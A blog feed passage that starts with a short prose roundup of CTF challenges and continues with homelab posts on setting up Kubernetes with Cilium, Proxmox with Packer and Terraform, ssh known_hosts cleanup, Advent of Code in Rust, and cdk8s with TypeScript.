We started with some pcap dump, to find out a privatebin-hosted document with source code, and it happened the source code was a service to exploit, to dump a private certificate. The crypto usage was wrong and the goal was to exploit bad practices.

PoliceForensic Link to heading

An Android AVD snapshop to forensic. Actually we had some luck on this one has the challenge was broken and we found the flag a way that was fixed after. writeup.

KeepQuiet Link to heading

We’re a sysadmin and we had to exploit a web service to discover some .net malware.

Damn Deprecation Link to heading

A particular good one! You’ve a shell on a box with encrypted databases. You find out you can’t do certain things on the box, as the kernel prevents to read its binary, nor moving it or such things. Even modifying grub was not possible. A strange /README_NOW.txt won’t stop to pop.

It was easy to identify the kernel was patched with a rootkit or something. It was found out the kernel was installed from a given repository (that we don’t have access). I found out that moving /boot was possible, so I recreated a whole /boot, booting on another kernel with some symlinks, that allowed me to get the hacked kernel binary.

I started to debug it locally using qemu, found out it was launching a python process (with its encrypted code on commandline). The code was quickly decrypted as its encryption key was set in the environment in the kernel_execve call. The python script launched python bytecode, and after some reversing, it was clear the process was calling home a distant daemon. Some tcpdump allowed to get the first flag (which was indeed the database encryption key).

The 2nd flag was found out by decryption the database.

Then, the last flag was still missing, and some reverse of the kernel began. As the kernel_execve call of the python process was new, I followed the code around the call, found out new functions that were not existing in the current kernel code, and discovered a rather big function I started to reverse, finding the last flag, generated in its process (after some tweaking to enter in some code that seemed disabled). writeup.

L’an 1, et puis l’an 2 Link to heading

We start with a Windows memory dump, and a pcap traces. We find out in those some Empire like malware, and have to decrypt its activity to find out the flags writeup

Catch Him If You Can Link to heading

A little scenario in which you play a sysadmin, and have to detect an attacker and answer some questions.

My Virtual Bookstore Link to heading

A windows binary to remotely exploit.

A Maze In Link to heading

As every year, a goodie in some event with a flag inside!

Time to Fight Back Link to heading

A bot running on a python-written javascript jail had to be exploited to gain RCE on attackers’ system, then gain a shell by exploiting some docker misconfiguration, and finally some forensic to find the flags.

Save the earth or loose yourself?! Link to heading

Windows pentest. writeup

Randigma Link to heading

A custom Enigma machine with some entropy for the reflectors. I skipped this challenge. writeup.

JarJarBank Link to heading

A java/spring application with 2 vulnerabilties: A custom SOAP request vulnerable to reading some files on the FS allowed to gather a token to reset/modify passwords; A second deserialization vulnerability allowed to popup a shell on the app’s container. writeup.

Android Mirrors Link to heading

An Android application with 256 switches. Coded in kotlin, hard to correctly decompile, and a maze/algorithm to solve after having reversing it.

Pixle Link to heading

A ptrace/nanomite challenge, with a console image to rebuild. The binary would launch a process that would launch another one and so until 16 processes were created, and the whole thing would send data to each other using ptrace(PTRACE_SETREGS/PTRACE_GETREGS) calls, to reorder data in memory.

Once the protocol known (it was simple some 7 bytes block swaps, and the algorithm found)

A Maritime Journey Link to heading

Some basic OSINT, with some interesting real life data! writeup

TicTacPwn Link to heading

An x64 binary to exploit. writeup; writeup

That’s it folks.

Cilium: Enabling Hubble, Ingress Controller on LAN

pm@mkz.me (Patrick MARIE) — Tue, 26 Sep 2023 15:31:14 +0200

Cilium: Enabling Ingress controller support Link to heading

Cilium integrates an ingress controller, disabled by default. On my bare-metal/VM setup, it is required to enable it, and also add some bits to handle load balancer configuration.

Update cilium configuration to enable ingress controllers Link to heading

kube-vm-1$ cilium upgrade --reuse-values --version 1.14.2 --set ingressController.enabled=true --set ingressController.loadbalancerMode=dedicated
ℹ️  Using Cilium version 1.14.1
🔮 Auto-detected cluster name: kubernetes
🔮 Auto-detected kube-proxy has not been installed
ℹ️  Cilium will fully replace all functionalities of kube-proxy

kube-vm-1$ kubectl -n kube-system rollout restart deployment/cilium-operator
kube-vm-1$ kubectl -n kube-system rollout restart ds/cilium

kube-vm-1$ cilium config view | grep ingress
enable-ingress-controller                         true
enable-ingress-secrets-sync                       true
enforce-ingress-https                             true
ingress-default-lb-mode                           dedicated
ingress-lb-annotation-prefixes                    service.beta.kubernetes.io service.kubernetes.io cloud.google.com
ingress-secrets-namespace                         cilium-secrets
ingress-shared-lb-service-name                    cilium-ingress

See Kubernetes Ingress Support for more details.

Test Ingress Link to heading

Install demo app:

kube-vm-1$ kubectl apply -f https://raw.githubusercontent.com/istio/istio/release-1.11/samples/bookinfo/platform/kube/bookinfo.yaml
[... snap ...]

Then an ingress for the app:

kube-vm-1$ kubectl apply -f https://raw.githubusercontent.com/cilium/cilium/1.14.2/examples/kubernetes/servicemesh/basic-ingress.yaml
kube-vm-1$ kubectl get ingress
NAME            CLASS    HOSTS   ADDRESS   PORTS   AGE
basic-ingress   cilium   *                 80      13s

It will create an ingress, but no address will be attached to it, as there is no load balancer on my setup:

kube-vm-1$ kubectl get svc
NAME                           TYPE           CLUSTER-IP       EXTERNAL-IP   PORT(S)                      AGE
cilium-ingress-basic-ingress   LoadBalancer   10.106.88.127    <pending>     80:31803/TCP,443:31392/TCP   34s

Note: There will be 2 LoadBalancer services: One in kube-system namespace, used by shared services, and one dedicated to the ingress, which is tied to the service namespace (here: default).

To “fix” this and the ingress to be reachable on the LAN, I’ll:

Create a CiliumLoadBalancerIPPool;
Have the pool IPs reachable from outside the cluster

CiliumLoadBalancerIPPool Link to heading

apiVersion: "cilium.io/v2alpha1"
kind: CiliumLoadBalancerIPPool
metadata:
  name: "basic-pool"
spec:
  cidrs:
  - cidr: "10.42.42.0/24"

Note: It is not possible to have a /32 range here as it will reserve the first and last IP of the range, making it mandatory to use a /30 or wider range (meaning at least 2 IPs).

kube-vm-1$ kubectl apply -f basic-pool.yaml
ciliumloadbalancerippool.cilium.io/basic-pool created

kube-vm-1$ kubectl get svc
NAME                           TYPE           CLUSTER-IP       EXTERNAL-IP   PORT(S)                      AGE
cilium-ingress-basic-ingress   LoadBalancer   10.106.88.127    10.42.42.54   80:31803/TCP,443:31392/TCP   34s

As soon as a LB IP pool is created, an IP will be affected to the service. However, this IP is not routed on the LAN as it is not announced. Cilium 1.14 fixes this and can be enabled by:

kube-vm-1$ cilium upgrade --reuse-values --version 1.14.2 --set l2announcements.enabled=true --set externalIPs.enabled=true --set devices=eth+
kube-vm-1$ kubectl -n kube-system rollout restart deployment/cilium-operator
kube-vm-1$ kubectl -n kube-system rollout restart ds/cilium

Prior to complete the setup, it is required to create a policy to allow announcements for services on given devices. See L2 Announcements / L2 Aware LB.

apiVersion: "cilium.io/v2alpha1"
kind: CiliumL2AnnouncementPolicy
metadata:
  name: basic-policy
spec:
  interfaces:
  - eth0
  externalIPs: true
  loadBalancerIPs: true

Apply it:

kube-vm-1$ kubectl apply -f policy.yaml

The service should be reachable through the LB reserved IP from the LAN:

desktop$ curl http://10.42.42.54/
<!DOCTYPE html>
<html>
  <head>
    <title>Simple Bookstore App</title>

Using shared ingress Link to heading

Now, I’ve an issue I’m unhappy with. By default, cilium will create/use dedicated loadbalancer services, and then, reserve a pool IP for each Ingress. I want to use a single entry point. And make sure IP is always the same.

I’ll patch the kube-system’s svc/cilium-ingress to reserve a single IP from my pool:

$ kubectl patch service -n kube-system cilium-ingress -p '{"metadata": {"annotations": {"io.cilium/lb-ipam-ips": "10.42.42.42"}}}' --type merge
service/cilium-ingress patched
$ kubectl get service -n kube-system cilium-ingress
NAME             TYPE           CLUSTER-IP       EXTERNAL-IP   PORT(S)                      AGE
cilium-ingress   LoadBalancer   10.107.131.201   10.42.42.42   80:30490/TCP,443:32168/TCP   2d

Next, I patch the Ingress annotations to use the shared LoadBalancer:

$ kubectl patch ingress basic-ingress -p '{"metadata": {"annotations": {"ingress.cilium.io/loadbalancer-mode": "shared"}}}' --type merge
ingress.networking.k8s.io/basic-ingress patched (no change)
$ kubectl get ingress basic-ingress
NAME            CLASS    HOSTS   ADDRESS       PORTS   AGE
basic-ingress   cilium   *       10.42.42.42   80      2d

Setting a CA & TLS certificates Link to heading

Setting up default TLS certs:

$ apt-get install -y minica
...
$ mkdir k8s-wildcard && cd k8s-wildcard
$ minica minica '*.k8s'
$ minica '*.svc.k8s'
Creating a auto cert:

Client Cert: false
Common Name: *.svc.k8s
Org:         Example Organization
Cert Flavor: auto
Output crt:  *.svc.k8s.crt
Output key:  *.svc.k8s.key

$ kubectl create secret tls -n kube-system default-cert --cert=*.svc.k8s.crt --key=*.svc.k8s.key

$ cilium upgrade --version 1.14.2 --reuse-values --set ingressController.defaultSecretNamespace=kube-system --set ingressController.defaultSecretName=default-cert

Then, add the tls section in the Ingress:

spec:
  tls:
  - hosts:
    - chocapic.svc.k8s

The service should now be available from https://chocapic.svc.k8s/:

$ curl -k --resolve chocapic.svc.k8s:443:10.42.42.42 https://chocapic.svc.k8s/
<html>
  <head>
    <title>Simple Bookstore App</title>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">

Enabling Hubble Link to heading

kube-vm-1$ cilium hubble enable --ui
kube-vm-1$ cilium status
...
Hubble Relay:       OK
...

Then:

kube-vm-1$ kubectl port-forward -n kube-system svc/hubble-ui --address 10.2.1.21 12000:80

And open your browser on http://10.2.1.21:12000/ and the Hubble UI should be shown.

Installing Kubernetes With Cilium

pm@mkz.me (Patrick MARIE) — Mon, 25 Sep 2023 11:50:17 +0200

Following last week VM installation in Proxmox with Terraform, now is time to install kubernetes on the newly created VMs.

The installation is done in 4 steps:

Install pre requirements on all hosts;
Install main node;
Install cilium;
Install worker nodes.

Pre-requirements Link to heading

Update system and install some missing packages Link to heading

kube-vm-1$ apt-get update
kube-vm-1$ apt-get install -y ca-certificates curl gnupg apt-transport-https

Install containerd Link to heading

kube-vm-1$ nstall -m 0755 -d /etc/apt/keyrings
kube-vm-1$ curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
kube-vm-1$ chmod a+r /etc/apt/keyrings/docker.gpg

kube-vm-1$ echo \
  "deb [arch="$(dpkg --print-architecture)" signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \
  "$(. /etc/os-release && echo "$VERSION_CODENAME")" stable" | \
   tee /etc/apt/sources.list.d/docker.list > /dev/null

kube-vm-1$ apt-get update
kube-vm-1$ apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin -y

Prepare containerd: Install CNI plugins & patch configuration Link to heading

Default configuration does not suit Kubernetes. So configuration is generated & patched from scratch

kube-vm-1$ mv /etc/containerd/config.toml /etc/containerd/config.toml.backup
kube-vm-1$ containerd config default > /etc/containerd/config.toml
kube-vm-1$ sed -i 's/SystemdCgroup = false/SystemdCgroup = true/g' /etc/containerd/config.toml

kube-vm-1$ mkdir -p /opt/cni/bin/
kube-vm-1$ wget https://github.com/containernetworking/plugins/releases/download/v1.3.0/cni-plugins-linux-amd64-v1.3.0.tgz
kube-vm-1$ tar Cxzvf /opt/cni/bin cni-plugins-linux-amd64-v1.3.0.tgz

kube-vm-1$ systemctl enable containerd
kube-vm-1$ systemctl restart containerd

System: Load kernel modules, patch sysctl and disable swap Link to heading

kube-vm-1$ cat <<EOF | tee /etc/modules-load.d/k8s.conf
overlay
br_netfilter
EOF

kube-vm-1$ modprobe overlay
kube-vm-1$ modprobe br_netfilter

kube-vm-1$ cat <<EOF | tee /etc/sysctl.d/k8s.conf
net.bridge.bridge-nf-call-iptables  = 1
net.bridge.bridge-nf-call-ip6tables = 1
net.ipv4.ip_forward                 = 1
EOF

kube-vm-1$ sysctl --system

kube-vm-1$ sed -ri '/\sswap\s/s/^#?/#/' /etc/fstab
kube-vm-1$ swapoff -a

Install Kubernetes Link to heading

kube-vm-1$ curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add
kube-vm-1$ echo "deb https://apt.kubernetes.io/ kubernetes-xenial main" >> ~/kubernetes.list
kube-vm-1$ mv ~/kubernetes.list /etc/apt/sources.list.d

kube-vm-1$ apt-get update

kube-vm-1$ VERSION="1.28.2-00"
kube-vm-1$ apt-get install -y kubelet=$VERSION kubeadm=$VERSION kubectl=$VERSION kubernetes-cni
kube-vm-1$ apt-mark hold kubelet kubeadm kubectl

Reboot Link to heading

To apply kernel updates, modules and so, reboot the system.

kube-vm-1$ reboot

You can verify containerd is well alive after the reboot.

Master node Link to heading

To run the master Kubernetes node, run the appropriate kubeadm init command with our basic network configuration (IP addresses ranges). On the master node,

kube-vm-1$ export MASTER_NODE_IP="10.2.1.21"
kube-vm-1$ export K8S_POD_NETWORK_CIDR="192.168.0.0/17"

kube-vm-1$ systemctl enable kubelet

kube-vm-1$ kubeadm init \
  --apiserver-advertise-address=$MASTER_NODE_IP \
  --pod-network-cidr=$K8S_POD_NETWORK_CIDR \
  --ignore-preflight-errors=NumCPU \
  --skip-phases=addon/kube-proxy \
  --control-plane-endpoint $MASTER_NODE_IP \
  | tee /root/kubeadm.output

Note: --skip-phases=addon/kube-proxy is removing kube-proxy. This component will be replaced by Cilium.

Installing Cilium Link to heading

kube-vm-1$ CILIUM_CLI_VERSION=$(curl -s https://raw.githubusercontent.com/cilium/cilium-cli/master/stable.txt)
kube-vm-1$ CLI_ARCH=amd64
kube-vm-1$ if [ "$(uname -m)" = "aarch64" ]; then CLI_ARCH=arm64; fi
kube-vm-1$ curl -L --fail --remote-name-all https://github.com/cilium/cilium-cli/releases/download/${CILIUM_CLI_VERSION}/cilium-linux-${CLI_ARCH}.tar.gz{,.sha256sum}
kube-vm-1$ sha256sum --check cilium-linux-${CLI_ARCH}.tar.gz.sha256sum
kube-vm-1$ tar xzvfC cilium-linux-${CLI_ARCH}.tar.gz /usr/local/bin
kube-vm-1$ rm cilium-linux-${CLI_ARCH}.tar.gz{,.sha256sum}

kube-vm-1$ export KUBECONFIG=/etc/kubernetes/admin.conf
kube-vm-1$ cilium install \
  --version 1.14.2 \
  --set ipam.operator.clusterPoolIPv4PodCIDRList='{192.168.0.0/17}' \
  --set kubeProxyReplacement=true \
  --set bpf.masquerade=true
ℹ️  Using Cilium version 1.14.2
🔮 Auto-detected cluster name: kubernetes
🔮 Auto-detected kube-proxy has not been installed
ℹ️  Cilium will fully replace all functionalities of kube-proxy

kube-vm-1$ cilium status --wait
    /¯¯\
 /¯¯\__/¯¯\    Cilium:             OK
 \__/¯¯\__/    Operator:           OK
 /¯¯\__/¯¯\    Envoy DaemonSet:    disabled (using embedded mode)
 \__/¯¯\__/    Hubble Relay:       disabled
    \__/       ClusterMesh:        disabled

Deployment             cilium-operator    Desired: 1, Ready: 1/1, Available: 1/1
DaemonSet              cilium             Desired: 1, Ready: 1/1, Available: 1/1
Containers:            cilium             Running: 1
                       cilium-operator    Running: 1
Cluster Pods:          0/2 managed by Cilium
Helm chart version:    1.14.2
Image versions         cilium             quay.io/cilium/cilium:v1.14.2@sha256:6263f3a3d5d63b267b538298dbeb5ae87da3efacf09a2c620446c873ba807d35: 1
                       cilium-operator    quay.io/cilium/operator-generic:v1.14.2@sha256:52f70250dea22e506959439a7c4ea31b10fe8375db62f5c27ab746e3a2af866d: 1

The ipam.operator.clusterPoolIPv4PodCIDRList is used to not use default IPv4 Pool used (10/8) as it conflicts with my LAN. kubeProxyReplacement=true will delegate the kube-proxy features to cilium. It is faster than kube-proxy, and mandatory for other Cilium features.

At the end of this step, all the pods should be up & running and the node should be in Ready step:

kube-vm-1$ export KUBECONFIG=/etc/kubernetes/admin.conf
kube-vm-1$ kubectl get nodes,pods -A
NAME             STATUS   ROLES           AGE   VERSION
node/kube-vm-1   Ready    control-plane   45m   v1.28.2

NAMESPACE     NAME                                    READY   STATUS    RESTARTS   AGE
kube-system   pod/cilium-jnbp6                        1/1     Running   0          43m
kube-system   pod/cilium-operator-5566bfffd9-cztw9    1/1     Running   0          43m
kube-system   pod/coredns-5dd5756b68-jp742            1/1     Running   0          45m
kube-system   pod/coredns-5dd5756b68-wwgnj            1/1     Running   0          45m
kube-system   pod/etcd-kube-vm-1                      1/1     Running   0          45m
kube-system   pod/kube-apiserver-kube-vm-1            1/1     Running   0          45m
kube-system   pod/kube-controller-manager-kube-vm-1   1/1     Running   0          45m
kube-system   pod/kube-scheduler-kube-vm-1            1/1     Running   0          45m

Adding worker nodes Link to heading

The kubeadm init output was stored in /root/kubeadm.output. Make sure to follow the pre-requirement step to prepare the system then kubeadm join command:

kube-vm-2$ kubeadm join 10.2.1.21:6443 --token 1j70mn.52v29x4fecxf8v5u \
	--discovery-token-ca-cert-hash sha256:7fcd5e319d21d8bc02a32db0639066bcddfb479cfb5b758719000b0534d02c19

Adding other control-plane node Link to heading

You’ll need to either copy certificates from initial master node to new control-plane node, or push the secrets in kubernetes and fetch them when joining the cluster. As I’m lazy, I’ll use the 2nd way:

On the main control plane node:

kube-vm-1$ kubeadm init phase upload-certs --upload-certs
[upload-certs] Storing the certificates in Secret "kubeadm-certs" in the "kube-system" Namespace
[upload-certs] Using certificate key:
26a2902e671a417456861f1e17facb11de6410c7aed8a8355be582beefdea183

On the new node:

kube-vm-3$ kubeadm join 10.2.1.21:6443 --token 8qlo8l.yaqd9mwyj3i5jxoy \
  --discovery-token-ca-cert-hash sha256:7fcd5e319d21d8bc02a32db0639066bcddfb479cfb5b758719000b0534d02c19 \
  --control-plane --certificate-key 26a2902e671a417456861f1e17facb11de6410c7aed8a8355be582beefdea183
[... snap ...]

kube-vm-3$ export KUBECONFIG=/etc/kubernetes/admin.conf
kube-vm-3$ kubectl get nodes
NAME        STATUS   ROLES           AGE    VERSION
kube-vm-1   Ready    control-plane   20m    v1.28.2
kube-vm-2   Ready    <none>          19m    v1.28.2
kube-vm-3   Ready    control-plane   107s   v1.28.2

Validating cilium Link to heading

Finally, it is possible to check if cilium is working correctly. Just run cilium connectivity test:

kube-vm-1$ cilium connectivity test
🛈 Monitor aggregation detected, will skip some flow validation steps
✨ [kubernetes] Creating namespace cilium-test for connectivity check...
✨ [kubernetes] Deploying echo-same-node service...
✨ [kubernetes] Deploying DNS test server configmap...
✨ [kubernetes] Deploying same-node deployment...
✨ [kubernetes] Deploying client deployment...
[... snap ...]

⌛ [kubernetes] Waiting for NodePort 10.2.1.22:32668 (cilium-test/echo-same-node) to become ready...
⌛ [kubernetes] Waiting for NodePort 10.2.1.24:30885 (cilium-test/echo-other-node) to become ready...
⌛ [kubernetes] Waiting for NodePort 10.2.1.24:32668 (cilium-test/echo-same-node) to become ready...
🏃 Running tests...
[=] Test [no-policies]
.......
[... snap ...]

✅ All 42 tests (306 actions) successful, 13 tests skipped, 0 scenarios skipped.

When tests are completed, the cilium-test namespace can be deleted to remove all testing pods and configurations.

Packer and Terraform With Proxmox

pm@mkz.me (Patrick MARIE) — Fri, 22 Sep 2023 11:40:09 +0200

I’ve recently started to use proxmox on my previous desktop system for testing purpose (my homelab is not using VMs), and to be able to install some stuff on it, I used packer to build system imates/templates & terraform to deploy them.

Source code is here: proxmox-infra.

Packer Link to heading

Building the Packer image with proxmox-iso is pretty much straightforward:

source "proxmox-iso" "ubuntu-basic" {
    vm_name = "${var.vm_name}"

    [... snap ...]

    # That's the proxmox node name to generate VM on. 
	node = "night-flight"

    iso_file = "local:iso/ubuntu-22.04.3-live-server-amd64.iso"
    unmount_iso = true
    iso_storage_pool = "local"

    [... snap ...]

    # Install the qemu agent
    qemu_agent = true

    # do not add an empty cloud_init iso after generation, as it will be enabled in "children" VMs.
    cloud_init = false

    # PACKER Boot Commands for ubuntu
    boot_command = [
    	"c",
    	"linux /casper/vmlinuz --- autoinstall ds='nocloud-net;s=http://{{ .HTTPIP }}:{{ .HTTPPort }}/' ",
    	"<enter><wait>",
    	"initrd /casper/initrd<enter><wait>",
    	"boot<enter>"
    ]
    boot = "c"
    boot_wait = "5s"

    http_directory = "http" 

    ssh_username = "mycroft"
    ssh_agent_auth = true
    # public key is created thanks to cloud-init
    ssh_keypair_name = "id_ed25519"

    ssh_timeout = "20m"
}

source

Terraform Link to heading

Once the image is created, VMs can be deployed with terraform using the proxmox provider.

My current configuration for 4 Kubernetes nodes is:

resource "proxmox_vm_qemu" "kubernetes_server" {
  count       = 4
  name        = "kube-vm-${count.index + 1}"
  desc        = "Kubernetes node"
  target_node = var.proxmox_host
  clone       = var.template_name

  agent       = 1
  os_type     = "cloud-init"
  cores       = 2
  sockets     = 1
  cpu         = "host"
  memory      = 8192
  scsihw      = "virtio-scsi-pci"
  bootdisk    = "scsi0"
  qemu_os     = "l26"

  cloudinit_cdrom_storage = "local-lvm"

  disk {
    size     = "32G"
    type     = "scsi"
    storage  = "local-lvm"
  }

  network {
    model  = "virtio"
    bridge = "vmbr0"
  }

  ipconfig0 = "ip=10.2.1.2${count.index + 1}/8,gw=10.0.0.1"

  lifecycle {
    ignore_changes = [
      network,
    ]
  }

  sshkeys = <<EOF
  ${var.ssh_key}
  EOF
}

source

ssh: Cleaning known_hosts obsolete entries

pm@mkz.me (Patrick MARIE) — Thu, 21 Sep 2023 20:36:54 +0200

One thing that bothers me a lot when using ssh with VMs in my homelab is that I re-use IPs after destroying/recreating VMs. My .ssh/known_hosts then grows and contains a lot of obsolete entries, and eventually, it ends up conflicting.

Here the trick to disable strict host checking on connect for a subset of IPs. Just add the following in .ssh/config:

$ cat ~/.ssh/config
...
Host 10.2.1.*
  StrictHostKeyChecking no
  UserKnownHostsFile=/dev/null
...

Another possiblity is to remove them. Simply use ssh-keygen -R:

$ ssh-keygen -R "10.2.1.22"
# Host 10.2.1.22 found: line 40
# Host 10.2.1.22 found: line 41
# Host 10.2.1.22 found: line 42
/home/mycroft/.ssh/known_hosts updated.
Original contents retained as /home/mycroft/.ssh/known_hosts.old

Advent of Code 2022

pm@mkz.me (Patrick MARIE) — Fri, 02 Dec 2022 20:46:16 +0100

On this page, I’ll sum up daily my experience doing the Advent of Code 2022.

Day 1: Counting calories Link to heading

That is the easy introduction day. Nothing much to say: Lists, doing sums. Then sorting, and picking 3 numbers.

    for line in lines {
        if line.is_empty() {
            all_cals.push(current_cal);
            current_cal = 0;
        } else {
            current_cal += line.parse::<i32>().expect("need a mumber");
        }
    }

    all_cals.push(current_cal);

    all_cals.sort();
    all_cals.reverse();

I should refactor the sort & reverse calls. I’m pretty sure this could be a 1 liner…

Day 2: Paper, Scissors, Rock or Rock, Paper, Scissors or … Link to heading

I was too lazy. I’ll be honest: I’ve written too much match in my solution. I should refactor the thing to do 0. But that was end of the week and I wanted to get a walk.

    let playtype = match a {
        Play::Rock => {
            match b {
                Play::Paper => Type::Loss,
                Play::Scissors => Type::Win,
                Play::Rock => Type::Draw,
            }
        },

Wah I’ve just seen this blog post with quite better parsing using try_from. I really should use those.

Day 3: Intersections Link to heading

Today’s exercise was about doing intersections of sets. Well, rust happens to have a very nice collection type for this: HashSet. And it also happens that this HashSet type has an intersection function.

    while groups.len() > 0 {
        let inter = groups.pop().unwrap().intersection(&groups.pop().unwrap()).cloned().collect();
        let inter: HashSet<char> = groups.pop().unwrap().intersection(&inter).cloned().collect();

        for c in inter.iter() {
            score_part2 += badge_to_number(*c);
        }
    }

All other exercises are on my Github account.

100 Days of K8S with Typescript

pm@mkz.me (Patrick MARIE) — Sun, 25 Sep 2022 20:54:51 +0200

This post will be another attempt to learn Kubernetes, using typescript & cdk8s this time.

Day 1: Workplace initialization & Hello World. Link to heading

You’ll need node, npm & typescript. I’ve installed those with brew (cuz I’m doing this on Mac OS X):

> brew install node npm typescript
...
> node --version
v18.9.0
> npm --version
8.19.1
> tsc --version
Version 4.8.3

You might also want to install ts-node so it will not be needed to convert typescript to javascript before running it with node:

> npm install -g ts-node
...
> npx ts-node --version
v10.9.1

Once this little people is installed, let’s write our first typescript program, the hello world program:

let message: string = 'Hello, World!';
console.log(message);

Then, convert it with tsc & run it with node:

> tsc app.ts
> ls -l
total 16
-rw-r--r--  1 pmarie  staff  53 25 Sep 21:38 app.js
-rw-r--r--  1 pmarie  staff  61 13 Sep 23:15 app.ts
> cat app.js
var message = 'Hello, World!';
console.log(message);

> node app.js
Hello, World!

Or do it with only one step using ts-node:

> npx ts-node app.ts
Hello, World!

Day 2: Installing cdk8s & creating our first chart Link to heading

cdk8s is a development framework dedicated to build kubernetes charts using typescript, python or golang. Installing it is as simple as it can be done with any other tool using brew:

> brew install cdk8s
>

Bootstrapping the cdk8s app Link to heading

Initializing a new application is a bit long, but it will download all nodes modules and build the initial k8s layer to be able to create k8s charts. It can be done with cdk8s init:

> cdk8s init typescript-app
...
 Your cdk8s typescript project is ready!

   cat help         Print this message
 
  Compile:
   npm run compile     Compile typescript code to javascript (or "yarn watch")
   npm run watch       Watch for changes and compile typescript in the background
   npm run build       Compile + synth

  Synthesize:
   npm run synth       Synthesize k8s manifests from charts to dist/ (ready for 'kubectl apply -f')

 Deploy:
   kubectl apply -f dist/

 Upgrades:
   npm run import        Import/update k8s apis (you should check-in this directory)
   npm run upgrade       Upgrade cdk8s modules to latest version
   npm run upgrade:next  Upgrade cdk8s modules to latest "@next" version (last commit)

Building the code & synthetizing the charts is as simple as running npm run compile then cdk8s synth:

> npm run compile && cdk8s synth
...
dist/hello-world-ts.k8s.yaml

Per default, the chart will be empty. Thanksfully, the getting started page gives a basic example with a service & a deployment:

    const label = { app: 'hello-k8s' };

    new KubeService(this, 'service', {
      metadata: {
        labels: label,
      },
      spec: {
        type: 'LoadBalancer',
        ports: [ { port: 8001, targetPort: IntOrString.fromNumber(8080) } ],
        selector: label
      }
    });

    new KubeDeployment(this, 'deployment', {
      spec: {
        replicas: 2,
        selector: {
          matchLabels: label
        },
        template: {
          metadata: { labels: label },
          spec: {
            containers: [
              {
                name: 'hello-kubernetes',
                image: 'paulbouwer/hello-kubernetes:1.7',
                ports: [ { containerPort: 8080 } ]
              }
            ]
          }
        }
      }
    });

After building & creating the charts, the hello-world-ts.k8s.yaml file is no longer empty:

apiVersion: v1
kind: Service
metadata:
  labels:
    app: hello-k8s
  name: hello-world-ts-service-c8780799
spec:
  ports:
    - port: 8001
      targetPort: 8080
  selector:
    app: hello-k8s
  type: LoadBalancer
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: hello-world-ts-deployment-c881e597
spec:
  replicas: 2
  selector:
    matchLabels:
      app: hello-k8s
  template:
    metadata:
      labels:
        app: hello-k8s
    spec:
      containers:
        - image: paulbouwer/hello-kubernetes:1.7
          name: hello-kubernetes
          ports:
            - containerPort: 8080

Note: At the time of writing, I’m using a k3s for my tests. The created service (with a loadbalancer) will then spawn a pod on each nodes to bind the port (8001). For each other LoadBalancer services, using another port will be required. Note also that other k8s installation might require more setup to work correctly.

Testing the chart Link to heading

> kubectl apply -f dist/hello-world-ts.k8s.yaml
service/hello-world-ts-service-c8780799 created
deployment.apps/hello-world-ts-deployment-c881e597 created
> kubectl get services --show-labels --selector='app=hello-k8s'
NAME                              TYPE           CLUSTER-IP     EXTERNAL-IP   PORT(S)          AGE   LABELS
hello-world-ts-service-c8780799   LoadBalancer   10.43.190.35   10.0.0.4      8001:30106/TCP   50m   app=hello-k8s
> kubectl get pods --show-labels --selector='app=hello-k8s'
NAME                                                 READY   STATUS    RESTARTS   AGE   LABELS
hello-world-ts-deployment-c881e597-5c667d695-shtc4   1/1     Running   0          53m   app=hello-k8s,pod-template-hash=5c667d695
hello-world-ts-deployment-c881e597-5c667d695-zhnrm   1/1     Running   0          53m   app=hello-k8s,pod-template-hash=5c667d695
> curl -s http://shuttle:8001/ | pandoc -f html -t plain
[]

Hello world!

  ------- ----------------------------------------------------
  pod:    hello-world-ts-deployment-c881e597-5c667d695-zhnrm
  node:   Linux (5.19.7-200.fc36.x86_64)
  ------- ----------------------------------------------------

Applying the example chart using kubectl apply created a deployment (with 2 replicas) & a service binding on my installation port 8001 on each k8s nodes. Reaching one of the node is correctly serving the demo container.

Day 3: Testing using jest Link to heading

Today, I’m testing testing. It seems like it is possible to test javascript or typescript stuff with jest. When generating first time our cdk8s app, it created already a basic unit test. Let’s install jest before continuing:

> npm install -y jest

jest is able to record snapshots of the current state, so it can be re-tested later. This can be done thanks to:

> jest --updateSnapshot

I added some basic test to verify the generated service. I’m testing it is a label value, the defined ports and the type . It looks like this:

  test('HelloWorldTsHasService', () => {
    const app = Testing.app();
    const chart = new HelloWorldChart(app, 'test-chart');
    const results = Testing.synth(chart);

    var service = results.find((obj) => {
      return obj.kind === 'Service';
    });

    expect(service.metadata.labels['app']).toBe('hello-k8s');
    expect(service.spec.ports.length).toBe(1);
    expect(service.spec.ports[0].port).toBe(8001);
    expect(service.spec.ports[0].targetPort).toBe(8080);
    expect(service.spec.type).toBe('LoadBalancer');
  });

Running the test looked like this:

> jest
 PASS  ./main.test.ts
  TestHelloWorldTs
    ✓ BasicHelloWorldSnapshot (5 ms)
    ✓ HelloWorldTsHasService (1 ms)

Test Suites: 1 passed, 1 total
Tests:       2 passed, 2 total
Snapshots:   1 passed, 1 total
Time:        1.192 s
Ran all test suites.

Day 4: Playing with kubernetes/client-node. Link to heading

Today, I took a look to the javascript kubernetes client, aka kubernetes/client-node.

First, I created a new project and imported the library:

> npm install -y @kubernetes/client-node

Then, I wrote some code:

import _, { CoreV1Api, AppsV1Api, KubeConfig } from '@kubernetes/client-node';

const kc = new KubeConfig();
kc.loadFromDefault();

const k8sApi = kc.makeApiClient(CoreV1Api);
const k8sAppsApi = kc.makeApiClient(AppsV1Api);

async function listDeploymentsForNamespace(namespace: string) {
    const res = await k8sAppsApi.listNamespacedDeployment(namespace);
    res.body.items.forEach((o: _.V1Deployment) => {
        console.log("namespace:" + namespace + " " + o.metadata?.name);
    });
}

async function listNamespacesAndDeployments() {
    const res = await k8sApi.listNamespace();
    res.body.items.forEach((o: _.V1Namespace) => {
        if (typeof o.metadata?.name === 'string') {
            listDeploymentsForNamespace(o.metadata?.name);
        }
    });
}

listNamespacesAndDeployments();

The snippet is quite small, and it took me some time to write it as I really hate async code. My goal was to write a couple of api calls and do stuff with those, and the only thing I succeeded was to list namespaces & deployments in those. At first, the result was messy (async code!), but eventually I made it work. The result of this:

> npx ts-node hello-world.ts
